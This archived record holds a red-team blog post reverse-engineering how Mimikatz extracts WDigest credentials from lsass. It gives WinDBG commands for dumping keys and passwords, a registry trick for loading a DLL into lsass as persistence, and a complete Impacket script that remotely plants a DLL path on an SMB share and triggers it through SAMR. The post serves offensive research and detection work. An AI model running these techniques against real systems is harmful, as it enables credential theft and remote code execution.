{
	"id": "d76d6b50-2cd9-4c58-8505-cce784fb3051",
	"created_at": "2026-04-06T01:31:54.329909Z",
	"updated_at": "2026-04-10T03:21:26.512487Z",
	"deleted_at": null,
	"sha1_hash": "130bedbf6c33e32735d9e5081e80957508c0f376",
	"title": "Exploring Mimikatz - Part 1 - WDigest",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1316273,
	"plain_text": "Exploring Mimikatz - Part 1 - WDigest\r\nBy Adam Chester\r\nArchived: 2026-04-06 00:11:48 UTC\r\n« Back to home\r\nPosted on 10th May 2019\r\nWe’ve packed it, we’ve wrapped it, we’ve injected it and powershell’d it, and now we’ve settled on feeding it a\r\nmemory dump, and still Mimikatz remains the tool of choice when extracting credentials from lsass on Windows\r\nsystems. Of course this is due to the fact that with each new security control introduced by Microsoft, GentilKiwi\r\nalways has a trick or two up his sleeve. If you have ever looked at the effort that goes into Mimikatz, this is no\r\neasy task, with all versions of Windows x86 and x64 supported (and more recently, additions to support Windows\r\non ARM arch). And of course with the success of Mimikatz over the years, BlueTeam are now very adept at\r\ndetecting its use in its many forms. Essentially, execute Mimikatz on a host, and if the environment has any\r\nmaturity at all you’re likely to be flagged.\r\nThrough my many online and offline rants conversations, people likely know by now my thoughts on RedTeam\r\nunderstanding their tooling beyond just executing a script. And with security vendors reducing and monitoring the\r\nattack surface of common tricks often faster than we can discover fresh methods, knowing how a particular\r\ntechnique works down to the API calls can offer a lot of benefits when avoiding detection in well protected\r\nenvironments.\r\nThis being said, Mimikatz is a tool that is carried along with most post-exploitation toolkits in one form or\r\nanother. And while some security vendors are monitoring for process interaction with lsass, many more have\r\nsettled on attempting to identify Mimikatz itself.\r\nI’ve been toying with the idea of stripping down Mimikatz for certain engagements (mainly those where\r\nexfiltrating a memory dump isn’t feasible or permitted), but it has been bugging me for a while that I’ve spent so\r\nlong working with a tool that I’ve rarely reviewed low-level.\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 1 of 22\n\nSo over a few posts I wanted to change this and explore some of its magic, starting with where it all began….\r\nWDigest. Specifically, looking at how cleartext credentials are actually cached in lsass, and how they are extracted\r\nout of memory with \"sekurlsa::wdigest\" . This will mean disassembly and debugging, but hopefully by the end\r\nyou will see that while its difficult to duplicate the amount of effort that has gone into Mimikatz, if your aim is to\r\nonly use a small portion of the available functionality, it may be worth crafting a custom tool based on the\r\nMimikatz source code, rather than opting to take along the full suite.\r\nTo finish off the post I will also explore some additional methods of loading arbitrary DLL’s within lsass, which\r\ncan hopefully be combined with the code examples demonstrated.\r\nNote: This post uses Mimikatz source code heavily as well as the countless hours dedicated to it by its\r\ndeveloper(s). This effort should become more apparent as you see undocumented structures which are suddenly\r\nrevealed when browsing through code. Thanks to Mimikatz, Benjamin Delpy and Vincent Le Toux for their\r\nawesome work.\r\nSo, how does this “sekurlsa::wdigest” magic actually work?\r\nSo as mentioned, in this post we will look at is WDigest, arguably the feature that Mimikatz became most famous\r\nfor. WDigest credential caching was of course enabled by default up until Windows Server 2008 R2, after which\r\ncaching of plain-text credentials was disabled.\r\nWhen reversing an OS component, I usually like to attach a debugger and review how it interacts with the OS\r\nduring runtime. Unfortunately in this case this isn’t going to be just as simple as attaching WinDBG to lsass, as\r\npretty quickly you’ll see Windows grind to a halt before warning you of a pending reboot. Instead we’ll have to\r\nattach to the kernel and switch over to the lsass process from Ring-0. If you have never attached WinDBG to the\r\nkernel before, check out one of my previous posts on how to go about setting up a kernel debugger here.\r\nWith a kernel debugger attached, we need to grab the EPROCESS address of the lsass process, which is found with\r\nthe !process 0 0 lsass.exe command:\r\nWith the EPROCESS address identified ( ffff9d01325a7080 above), we can request that our debug session is\r\nswitched to the lsass process context:\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 2 of 22\n\nA simple lm will show that we now have access to the WDigest DLL memory space:\r\nIf at this point you find that symbols are not processed correctly, a .reload /user will normally help.\r\nWith the debugger attached, let’s dig into WDigest.\r\nDiving into wdigest.dll (and a little lsasrv.dll)\r\nIf we look at Mimikatz source code, we can see that the process of identifying credentials in memory is to scan for\r\nsignatures. Let’s take the opportunity to use a tool which appears to be in vogue at the minute, Ghidra, and see\r\nwhat Mimikatz is hunting for.\r\nAs I’m currently working on Windows 10 x64, I’ll focus on the PTRN_WIN6_PasswdSet signature seen below:\r\nAfter providing this search signature to Ghidra, we reveal what Mimikatz is scanning memory for:\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 3 of 22\n\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 4 of 22\n\nAbove we have the function LogSessHandlerPasswdSet . Specifically the signature references just beyond the\r\nl_LogSessList pointer. This pointer is key to extracting credentials from WDigest, but before we get ahead of\r\nourselves, let’s back up and figure out what exactly is calling this function by checking for cross references, which\r\nlands us here:\r\nHere we have SpAcceptCredentials which is an exported function from WDigest.dll, but what does this do?\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 5 of 22\n\nThis looks promising as we can see that credentials are passed via this callback function. Let’s confirm that we are\r\nin the right place. In WinDBG we can add a breakpoint with bp wdigest!SpAcceptCredentials after which we\r\nuse the runas command on Windows to spawn a shell:\r\nThis should be enough to trigger the breakpoint. Inspecting the arguments to the call, we can now see credentials\r\nbeing passed in:\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 6 of 22\n\nIf we continue with our execution and add another breakpoint on wdigest!LogSessHandlerPasswdSet , we find\r\nthat although our username is passed, a parameter representing our password cannot be seen. However, if we look\r\njust before the call to LogSessHandlerPasswdSet , what we find is this:\r\nThis is actually a stub used for Control Flow Guard (Ghidra 9.0.3 looks like it has an improvement for displaying\r\nCFG stubs), but following along in a debugger shows us that the call is actually to LsaProtectMemory :\r\nThis is expected as we know that credentials are stored encrypted within memory. Unfortunately\r\nLsaProtectMemory isn’t exposed outside of lsass, so we need to know how we can recreate its functionality to\r\ndecrypt extracted credentials. Following with our disassembler shows that this call is actually just a wrapper\r\naround LsaEncryptMemory :\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 7 of 22\n\nAnd LsaEncryptMemory is actually just wrapping calls to BCryptEncrypt :\r\nInterestingly, the encryption/decryption function is chosen based on the length of the provided blob of data to be\r\nencrypted. If the length of the buffer provided is divisible by 8 (donated by the “param_2 \u0026 7” bitwise operation\r\nin the screenshot above), then AES is used. Failing this, 3Des is used.\r\nSo we now know that our password is encrypted by BCryptEncrypt , but what about the key? Well if we look\r\nabove, we actually see references to lsasrv!h3DesKey and lsasrv!hAesKey . Tracing references to these\r\naddresses shows that lsasrv!LsaInitializeProtectedMemory is used to assign each an initial value. Specifically\r\neach key is generated based on calls to BCryptGenRandom :\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 8 of 22\n\nThis means that a new key is generated randomly each time lsass starts, which will have to be extracted before we\r\ncan decrypt any cached WDigest credentials.\r\nBack to the Mimikatz source code to confirm that we are not going too far off track, we see that there is indeed a\r\nhunt for the LsaInitializeProtectedMemory function, again with a comprehensive list of signatures for differing\r\nWindows versions and architectures:\r\nAnd if we search for this within Ghidra, we see that it lands us here:\r\nHere we see a reference to the hAesKey address. So, similar to the above signature search, Mimikatz is hunting\r\nfor cryptokeys in memory.\r\nNext we need to understand just how Mimikatz goes about pulling the keys out of memory. For this we need to\r\nrefer to kuhl_m_sekurlsa_nt6_acquireKey within Mimikatz, which highlights the lengths that this tool goes to in\r\nsupporting different OS versions. We see that hAesKey and h3DesKey (which are of the type\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 9 of 22\n\nBCRYPT_KEY_HANDLE returned from BCryptGenerateSymmetricKey ) actually point to a struct in memory\r\nconsisting of fields including the generated symmetric AES and 3DES keys. This struct can be found documented\r\nwithin Mimikatz:\r\ntypedef struct _KIWI_BCRYPT_HANDLE_KEY {\r\nULONG size;\r\nULONG tag; // 'UUUR'\r\nPVOID hAlgorithm;\r\nPKIWI_BCRYPT_KEY key;\r\nPVOID unk0;\r\n} KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;\r\nWe can correlate this with WinDBG to make sure we are on the right path by checking for the “UUUR” tag\r\nreferenced above:\r\nAt offset 0x10 we see that Mimikatz is referencing PKIWI_BCRYPT_KEY which has the following structure:\r\ntypedef struct _KIWI_BCRYPT_KEY81 {\r\nULONG size;\r\nULONG tag; // 'MSSK'\r\nULONG type;\r\nULONG unk0;\r\nULONG unk1;\r\nULONG unk2;\r\nULONG unk3;\r\nULONG unk4;\r\nPVOID unk5; // before, align in x64\r\nULONG unk6;\r\nULONG unk7;\r\nULONG unk8;\r\nULONG unk9;\r\nKIWI_HARD_KEY hardkey;\r\n} KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;\r\nAnd sure enough, following along with WinDBG reveals the same referenced tag:\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 10 of 22\n\nThe final member of this struct is a reference to the Mimikatz named KIWI_HARD_KEY , which contains the\r\nfollowing:\r\ntypedef struct _KIWI_HARD_KEY {\r\nULONG cbSecret;\r\nBYTE data[ANYSIZE_ARRAY]; // etc...\r\n} KIWI_HARD_KEY, *PKIWI_HARD_KEY;\r\nThis struct consists of the the size of the key as cbSecret , followed by the actual key within the data field.\r\nThis means we can use WinDBG to extract this key with:\r\nThis gives us our h3DesKey which is 0x18 bytes long consisting of\r\nb9 a8 b6 10 ee 85 f3 4f d3 cb 50 a6 a4 88 dc 6e ee b3 88 68 32 9a ec 5a .\r\nKnowing this, we can follow the same process to extract hAesKey :\r\nNow that we understand just how keys are extracted, we need to hunt for the actual credentials cached by\r\nWDigest. Let’s go back to the l_LogSessList pointer we discussed earlier. This field corresponds to a linked list,\r\nwhich we can walk through using the WinDBG command !list -x \"dq @$extret\"\r\npoi(wdigest!l_LogSessList) :\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 11 of 22\n\nThe structure of these entries contain the following fields:\r\ntypedef struct _KIWI_WDIGEST_LIST_ENTRY {\r\nstruct _KIWI_WDIGEST_LIST_ENTRY *Flink;\r\nstruct _KIWI_WDIGEST_LIST_ENTRY *Blink;\r\nULONG UsageCount;\r\nstruct _KIWI_WDIGEST_LIST_ENTRY *This;\r\nLUID LocallyUniqueIdentifier;\r\n} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;\r\nFollowing this struct are three LSA_UNICODE_STRING fields found at the following offsets:\r\n0x30 - Username\r\n0x40 - Hostname\r\n0x50 - Encrypted Password\r\nAgain we can check that we are on the right path with WinDBG using a command such as:\r\n!list -x \"dS @$extret+0x30\" poi(wdigest!l_LogSessList)\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 12 of 22\n\nThis will dump cached usernames as:\r\nAnd finally we can dump encrypted password using a similar command:\r\n!list -x \"db poi(@$extret+0x58)\" poi(wdigest!l_LogSessList)\r\nAnd there we have it, all the pieces required to extract WDigest credentials from memory.\r\nSo now that we have all the information needed for the extraction and decryption process, how feasible would it\r\nbe to piece this together into a small standalone tool outside of Mimikatz? To explore this I’ve created a heavily\r\ncommented POC which is available here. When executed on Windows 10 x64 (build 1809), it provides verbose\r\ninformation on the process of extracting creds:\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 13 of 22\n\nBy no means should this be considered OpSec safe, but it will hopefully give an example of how we can go about\r\ncrafting alternative tooling.\r\nNow that we understand how WDigest cached credentials are grabbed and decrypted, we can move onto another\r\narea affecting the collection of plain-text credentials, “UseLogonCredential”.\r\nBut UseLogonCredential is 0\r\nSo as we know, with everyone running around dumping cleartext credentials, Microsoft decided to disable support\r\nfor this legacy protocol by default. Of course there will be some users who may be using WDigest, so to provide\r\nthe option of re-enabling this, Microsoft pointed to a registry key of\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\\UseLogonCredential .\r\nToggling this from ‘0’ to ‘1’ forces WDigest to start caching credentials again, which of course meant that\r\npentesters were back in the game… however there was a catch, toggling this setting required a reboot of the OS,\r\nand I’ve yet to meet a client who would allow this outside of a test environment.\r\nThe obvious question is… why do you need to reboot the machine for this to take effect?\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 14 of 22\n\nEdit: As pointed out by GentilKiwi, a reboot isn’t required for this change to take effect. I’ve added a review of\r\nwhy this is at the end of this section.\r\nLet’s take a look at SpAcceptCredentials again, and after a bit of hunting we find this:\r\nHere we can clearly see that there is a check for two conditions using global variables. If g_IsCredGuardEnabled\r\nis set to 1 , or g_fParameter_UseLogonCredential is set to 0 , we find that the code path taken is via\r\nLogSessHandlerNoPasswordInsert rather than the above LogSessHandlerPasswdSet call. As the name suggests,\r\nthis function caches the session but not the password, resulting in the behaviour we normally encounter when\r\npopping Windows 2012+ boxes. It’s therefore reasonable to assume that this variable is controlled by the above\r\nregistry key value based on its name, and we find this to be the case by tracing its assignment:\r\nBy understanding what variables within WDigest.dll control credential caching, can we subvert this without\r\nupdating the registry? What if we update that g_fParameter_UseLogonCredential parameter during runtime with\r\nour debugger?\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 15 of 22\n\nResuming execution, we see that cached credentials are stored again:\r\nOf course most things are possible when you have a kernel debugger hooked up, but if you have a way to\r\nmanipulate lsass memory without triggering AV/EDR (see our earlier Cylance blog post for one example of how\r\nyou would do this), then there is nothing stopping you from crafting a tool to manipulate this variable. Again I’ve\r\ncreated a heavily verbose tool to demonstrate how this can be done which can be found here.\r\nThis example will hunt for and update the g_fParameter_UseLogonCredential value in memory. If you are\r\noperating against a system protected with Credential Guard, the modifications required to also update this value\r\nare trivial and left as an exercise to the reader.\r\nWith our POC executed, we find that WDigest has now been re-enabled without having to set the registry key,\r\nallowing us to pull out credentials as they are cached:\r\nAgain this POC should not be considered as OpSec safe, but used as a verbose example of how you can craft your\r\nown.\r\nNow of course this method of enabling WDigest comes with risks, mainly the WriteProcessMemory call into\r\nlsass, but if suited to the environment it offers a nice way to enable WDigest without setting a registry value.\r\nThere are also other methods of acquiring plain-text credentials which may be more suited to your target outside\r\nof WDigest (memssp for one, which we will review in a further post).\r\nEdit: As pointed out by GentilKiwi, a reboot is not required for UseLogonCredential to take effect… so back to\r\nthe disassembler we go.\r\nReviewing other locations referencing the registry value, we find wdigest!DigestWatchParamKey which monitors\r\na number of keys including:\r\nThe Win32 API used to trigger this function on update is RegNotifyKeyChangeValue :\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 16 of 22\n\nAnd if we add a breakpoint on wdigest!DigestWatchParamKey in WinDBG, we see that this is triggered as we\r\nattempt to add a UseLogonCredential :\r\nBonus Round - Loading an arbitrary DLL into LSASS\r\nSo while digging around with a disassemler I wanted to look for an alternative way to load code into lsass while\r\navoiding potentially hooked Win32 API calls, or by loading an SSP. After a bit of disassembly, I came across the\r\nfollowing within lsasrv.dll :\r\nThis attempt to call LoadLibraryExW on a user provided value can be found within the function\r\nLsapLoadLsaDbExtensionDll and allows us to craft a DLL to be loaded into the lsass process, for example:\r\nBOOL APIENTRY DllMain( HMODULE hModule,\r\n DWORD ul_reason_for_call,\r\n LPVOID lpReserved\r\n )\r\n{\r\n switch (ul_reason_for_call)\r\n {\r\n case DLL_PROCESS_ATTACH:\r\n // Insert l33t payload here\r\n break;\r\n }\r\n // Important to avoid BSOD\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 17 of 22\n\nreturn FALSE;\r\n}\r\nIt is important that at the end of the DllMain function, we return FALSE to force an error on LoadLibraryEx .\r\nThis is to avoid the subsequent call to GetProcAddress . Failing to do this will result in a BSOD on reboot until\r\nthe DLL or registry key is removed.\r\nWith a DLL crafted, all that we then need to do is create the above registry key:\r\nNew-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"C:\\xpnsec.dll\"\r\nLoading of the DLL will occur on system reboot, which makes it a potential persistence technique for privileged\r\ncompromises, pushing your payload straight into lsass (as long as PPL isn’t enabled of course).\r\nBonus Round 2 - Loading arbitrary DLL into LSASS remotely\r\nAfter some further hunting, a similar vector to that above was found within samsrv.dll. Again a controlled registry\r\nvalue is loaded into lsass by a LoadLibraryEx call:\r\nAgain we can leverage this by adding a registry key and rebooting, however triggering this case is a lot simpler as\r\nit can be fired using SAMR RPC calls.\r\nLet’s have a bit of fun by using our above WDigest credential extraction code to craft a DLL which will dump\r\ncredentials for us.\r\nTo load our DLL, we can use a very simple Impacket Python script to modify the registry and add a key to\r\nHKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPt pointing to our DLL hosted on an\r\nopen SMB share, and then trigger the loading of the DLL using a call to hSamConnect RPC call. The code looks\r\nlike this:\r\nfrom impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt, samr\r\nfrom impacket.smbconnection import SMBConnection\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 18 of 22\n\ndef trigger_samr(remoteHost, username, password):\r\nprint(\"[*] Connecting to SAMR RPC service\")\r\ntry:\r\nrpctransport = transport.SMBTransport(remoteHost, 445, r'\\samr', username, password, \"\", \"\", \"\", \"\")\r\ndce = rpctransport.get_dce_rpc()\r\ndce.connect()\r\ndce.bind(samr.MSRPC_UUID_SAMR)\r\nexcept (Exception) as e:\r\nprint(\"[x] Error binding to SAMR: %s\" % e)\r\nreturn\r\nprint(\"[*] Connection established, triggering SamrConnect to force load the added DLL\")\r\n# Trigger\r\nsamr.hSamrConnect(dce)\r\nprint(\"[*] Triggered, DLL should have been executed...\")\r\ndef start(remoteName, remoteHost, username, password, dllPath):\r\nwinreg_bind = r'ncacn_np:445[\\pipe\\winreg]'\r\nhRootKey = None\r\nsubkey = None\r\nrrpclient = None\r\nprint(\"[*] Connecting to remote registry\")\r\ntry:\r\nrpctransport = transport.SMBTransport(remoteHost, 445, r'\\winreg', username, password, \"\", \"\", \"\", \"\")\r\nexcept (Exception) as e:\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 19 of 22\n\nprint(\"[x] Error establishing SMB connection: %s\" % e)\r\nreturn\r\ntry:\r\n# Set up winreg RPC\r\nrrpclient = rpctransport.get_dce_rpc()\r\nrrpclient.connect()\r\nrrpclient.bind(rrp.MSRPC_UUID_RRP)\r\nexcept (Exception) as e:\r\nprint(\"[x] Error binding to remote registry: %s\" % e)\r\nreturn\r\nprint(\"[*] Connection established\")\r\nprint(\"[*] Adding new value to SYSTEM\\\\CurrentControlSet\\\\Services\\\\NTDS\\\\DirectoryServiceExtPtr\")\r\ntry:\r\n# Add a new registry key\r\nans = rrp.hOpenLocalMachine(rrpclient)\r\nhRootKey = ans['phKey']\r\nsubkey = rrp.hBaseRegOpenKey(rrpclient, hRootKey, \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\NTDS\")\r\nrrp.hBaseRegSetValue(rrpclient, subkey[\"phkResult\"], \"DirectoryServiceExtPt\", 1, dllPath)\r\nexcept (Exception) as e:\r\nprint(\"[x] Error communicating with remote registry: %s\" % e)\r\nreturn\r\nprint(\"[*] Registry value created, DLL will be loaded from %s\" % (dllPath))\r\ntrigger_samr(remoteHost, username, password)\r\nprint(\"[*] Removing registry entry\")\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 20 of 22\n\ntry:\r\nrrp.hBaseRegDeleteValue(rrpclient, subkey[\"phkResult\"], \"DirectoryServiceExtPt\")\r\nexcept (Exception) as e:\r\nprint(\"[x] Error deleting from remote registry: %s\" % e)\r\nreturn\r\nprint(\"[*] All done\")\r\nprint(\"LSASS DirectoryServiceExtPt POC\\n @_xpn_\\n\")\r\nstart(\"192.168.0.111\", \"192.168.0.111\", \"test\", \"wibble\", \"\\\\\\\\opensharehost\\\\ntds\\\\legit.dll\")\r\nAnd in practice, we can see credentials pulled from memory:\r\n ╭─xpn@AttackerBox /opt/impacket/impacket ‹master*› ╰─$\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\r\n╭─xpn@AttackerBox ~ ╰─$ docker exec -it rtbox bash\r\n__________ .___ __ ________ __\r\n\\______ \\ ____ __| _// |_ ____ _____ _____ \\______ \\ ____ ____ | | __ ___________\r\n | _// __ \\ / __ |\\ __\\/ __ \\\\__ \\ / \\ ______ | | \\ / _ \\_/ ___\\| |/ // __ \\_ __ \\\r\n | | \\ ___// /_/ | | | \\ ___/ / __ \\| Y Y \\ /_____/ | ` ( \u003c_\u003e ) \\___| \u003c\\ ___/| | \\/\r\n |____|_ /\\___ \u003e____ | |__| \\___ \u003e____ /__|_| / /_______ /\\____/ \\___ \u003e__|_ \\\\___ \u003e__|\r\n \\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/\r\n \r\n \r\nroot@ [redteam-docker] :/$ cd /tmp/ope\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n 12 0* docker 1.4 1.4 1.7 2019-05-09 22:57  AttackerBox\r\nThe code for the DLL used can be found here, which is a modification of the earlier example.\r\nSo hopefully this post has given you an idea as to how WDigest credential caching works and how Mimikatz goes\r\nabout pulling and decrypting passwords during \"sekurlsa::wdigest\" . More importantly I hope that it will help\r\nanyone looking to craft something custom for their next assessment. I’ll be continuing by looking at other areas\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 21 of 22\n\nwhich are commonly used during an engagement, but if you have any questions or suggestions, give me a shout at\r\nthe usual places.\r\nSource: https://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nhttps://blog.xpnsec.com/exploring-mimikatz-part-1/\r\nPage 22 of 22",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.xpnsec.com/exploring-mimikatz-part-1/"
	],
	"report_names": [
		"exploring-mimikatz-part-1"
	],
	"threat_actors": [],
	"ts_created_at": 1775439114,
	"ts_updated_at": 1775791286,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/130bedbf6c33e32735d9e5081e80957508c0f376.pdf",
		"text": "https://archive.orkl.eu/130bedbf6c33e32735d9e5081e80957508c0f376.txt",
		"img": "https://archive.orkl.eu/130bedbf6c33e32735d9e5081e80957508c0f376.jpg"
	}
}